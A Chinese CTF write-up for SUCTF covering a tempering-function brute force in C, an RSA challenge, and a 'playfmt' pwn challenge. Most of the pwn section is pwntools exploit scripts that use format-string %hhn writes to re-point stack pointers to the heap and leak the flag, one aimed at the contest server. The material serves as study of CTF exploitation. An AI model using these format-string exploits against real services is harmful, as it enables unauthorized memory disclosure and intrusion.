suctf的两三题wp

这次suctf我参与了的好像就三道题吧,还是和队友以及大佬商讨之后才弄出来的,发现自己真的太菜了

以下附上超级简单题的一些思路,当做给自己的记录吧

MT - crpyto

这是个密码题,但是我re基础有点太弱了,纯靠逆估计得逆很久,那就选择爆破吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#include <stdio.h>
#include <stdlib.h>

unsigned int convert(unsigned int m) {
m = m ^ m >> 13;
m = m ^ m << 9 & 2029229568ll;
m = m ^ m << 17 & 2245263360ll;
m = m ^ m >> 19;
return m;
}

int main() {
unsigned int i;
for (i = 0; i <= (unsigned int)0xffffffffll; i++) {
if (i & 0xfffff == 0)
printf("%u\n", i);
if (convert(i) == (unsigned int)1679057065ll) {
printf("%u", i);
break;
}
}
return 0;
}

//1679057065 2226413449
//3818208026 2938293886
//2854351778 1730632668

我们发现这道题就是把给的最终结果的flag切片,四个四个以字符的形式(两个十六进制数为一个)一循环,往函数里进行异或和位移操作

写python脚本的时候,崩溃了,跑不出来(能读的位太小?还是我python不熟啊?)换个c发现巨方便

falg : 84B45F89AF22CE7E67275BDC
大写发现过不去,改成小写就可以了
flag{84b45f89af22ce7e67275bdc}

signup - re

天知道第一道逆向竟然是rsa(看见熟悉的65537就知道了)
把n丢到网站上分出两个质数
然后直接丢给解rsa的脚本跑一下就出flag了(脚本来自超级可爱的队友,这里就不po出来了)

flag是suctf{Pwn_@_hundred_years}

Playfmt - pwn

这道题,格式化字符串

看到这里觉得有些眼熟,这不是lab9的那个差不多吗,关键函数,漏洞位置都一样,然后我天真的以为可以套着lab9的方法做这道题,结果…我确实天真,写完脚本,疯狂get不到shell,发现地址没爆错啊,啥都没问题,那肯定是got表改不了的问题了,这个具体看程序函数,貌似是那个this指针?(this+1是指向flag的)

看程序就知道,flag是被读进了堆里,堆的地址,我不会分析,就直接爆破吧

偏移为6的位置作为第一个ebp,指向下一个地址,而下一个又指向了再下一个地址。偏移分别为6 、14 、26,蓝色字体的地址为heap的地址,选择爆破的话,泄露那个应该都OK
我们知道flag是被写进堆里的,我们就把heap的地址存入ebp指向的地址处,同时会被存进26个偏移的位置(方便读取数据)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = 'debug'
p = process('./playfmt')
# p = remote('120.78.192.35',9999)
elf = ELF('./playfmt')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')

printf_got = elf.got['printf']
system_libc = libc.symbols['system']
printf_libc = libc.symbols['printf']

def read_addr(target_addr):
index1 = 6 #偏移是6的地方作为第一个ebp
index2 = 14 #偏移是14的地方作为ebp2 --> ebp里存的是ebp2的地址
value_ls = map(ord, p32(target_addr))
low_byte = stack_addr & 0xff
for i in range(4):
#stack地址就为ebp2处的地址,不变,heap的地址存在ebp2里,ebp2会指向ebp3,所以地址同时写入ebp3中
#我对这个的理解是:第一处的payload代表每个ebp里的字节存入单字节heap的地址
payload = '%{}c%{}$hhn\n\x00'.format(low_byte + i, index1)
p.sendline(payload)
p.recvline()
payload = '%{}c%{}$hhn\n\x00'.format(value_ls[i], index2)
p.sendline(payload)
p.recvline()

success('target ' + hex(target_addr))
payload = '%26$p\n\x00' #ebp2指向的地址处,只存放target_addr,可直接读取
p.sendline(payload)
p.recvline()
payload = '%26$s\n\x00'
p.sendline(payload)



p.recv()


payload = '.%14$p.%18$p.\x00' #%19$p也可
p.sendline(payload)
p.recvuntil(".")
stack_addr = int(p.recv(10),16)
success('stack ' + hex(stack_addr))
p.recvuntil(".")
heap_addr = int(p.recv(9),16)

success('stack ' + hex(stack_addr))
success('heap ' + hex(heap_addr))
for i in range(-0x1000, 0, 0x4):
#这里就随意循环heap的地址,找到flag字符,然后打印出来即可
success('offset ' + hex(i))
read_addr(heap_addr + i)
ret = p.recvline()
if 'suctf' in ret:
print(ret)
p.interactive()


p.interactive()

然后找大佬问了一下怎么确定flag到底写在了哪里,发现是我自己c和数据结构没学好……果然逆向基础和代码基础还是很重要的(一句话,我太菜了)

V5是new出来的一个堆,这里的传参为this指针,v8是flag读入的堆,这里是a2(*this+1)


Ida里找各个值的地址啥的

New出来的v3为this,地址为[heap]0x08810E30

其实看这个就能知道flag写在了末尾一个半字节为a10的地方,没关系,我们接着调。

我们输入%1$p发现它跳到了一个地方

发现其实它还没输出东西,那我们就继续往下执行,到printf执行之后,打印出第一个偏移处的地址

然后ida里,可以看见就在printf下面,那我们就算this的位置偏移是多少(数出来是19)

我们修改一下ebp的地址,使他指向堆的地址(上面有说到第26个偏移的地方指向堆的地址,我们就把它改到ebp),然后我们把ebp2里指向的堆地址改成this+1的地址

我们tel一下查看堆里的信息,发现其实this+1里存的是flag的地址(上面的flag是自己本机的)

然后我们就可以通过%19$s输出真实地址
再把它写入ebp2,然后再执行%19$s就可以了
Po个exp(来自一位特别特别好的大佬)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = 'debug'
p = remote('120.78.192.35',9999)
elf = ELF('./playfmt')

p.recv()
payload = '%6$p'
p.sendline(payload)
sleep(1)
################## ebp&ret
log_ebp = int(p.recv(),16)#logo ebp 14$ 0xffffd048
do_fmt_ebp = log_ebp - 0x20#do fmt ebp 6$ 0xffffd028
do_fmt_return = log_ebp -0x1c#do_fmt return_to 7$

log.info("log_ebp-->p[%s]"%hex(log_ebp))
log.info("do_fmt_ebp1-->p[%s]"%hex(do_fmt_ebp))
log.info("do_fmt_return-->p[%s]"%hex(do_fmt_return))
#################3 this_addr,flag_addr_off

payload = '%19$p'
p.sendline(payload)
sleep(1)
heap_addr=int(p.recv(),16)#0x8050e30
flag_addr_off=heap_addr+4 #0x8050e34
log.info('heap_addr-->p[%s]'%hex(heap_addr))
log.info('flag_addr_off-->p[%s]'%hex(flag_addr_off))

################# change this to *flag on stack
heap_addr_part=heap_addr & 0xFF#0e30
log_ebp_part=log_ebp & 0xFF#d048
heap_addr_stack_part=(log_ebp+0x14)&0xFF#D05c

log.info('heap_addr_part-->p[%s]'%hex(heap_addr_part))
log.info('log_ebp_part-->p[%s]'%hex(log_ebp_part))
log.info('heap_addr_stack_part-->p[%s]'%hex(heap_addr_stack_part))

payload='%'+str(heap_addr_stack_part)+'d%6$hhn'
p.sendline(payload)
p.recv()

payload='%'+str(heap_addr_part+4)+'d%14$hhn'
p.sendline(payload)
p.recv()

#gdb.attach(p)
################# leak flag_addr
payload='%19$s\x00'
p.sendline(payload)
flag_addr=u32(p.recv(4))
#################
payload='%'+str(flag_addr&0xFFFF)+'d%14$hn'
p.sendline(payload)
p.recvuntil('134515884') #%1$p的地址 0x8048CAC
p.sendline('%19$s\x00')

p.interactive()`

我们前面不是可以知道那个flag到底是读在了a10的地方吗?那我们就直接改一个,把一个指向栈地址的改成指向堆地址的地址,就是偏移为6的那个地方啦,然后直接修改堆的低地址(18偏移的地方地址为a28,离flag的地方特别近,直接改低一个字节的地址就可以了,贼方便了)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = 'debug'
# p = remote('120.78.192.35',9999)
p = process('./playfmt')
elf = ELF('./playfmt')


p.recvuntil("=\n")
p.sendlineafter("=\n","%6$p")
s = p.recvuntil("\n")
stack_addr = int(s.strip(),16)
print hex(stack_addr)

stack = stack_addr + 0x10
p.sendline("%" + str(stack&0xff) + "c%6$hhn")
p.sendline("%16c%14$hhn")
p.sendline("%18$s")
p.interactive()

这道题真实的flag好像是suctf{P_rin_Tfo}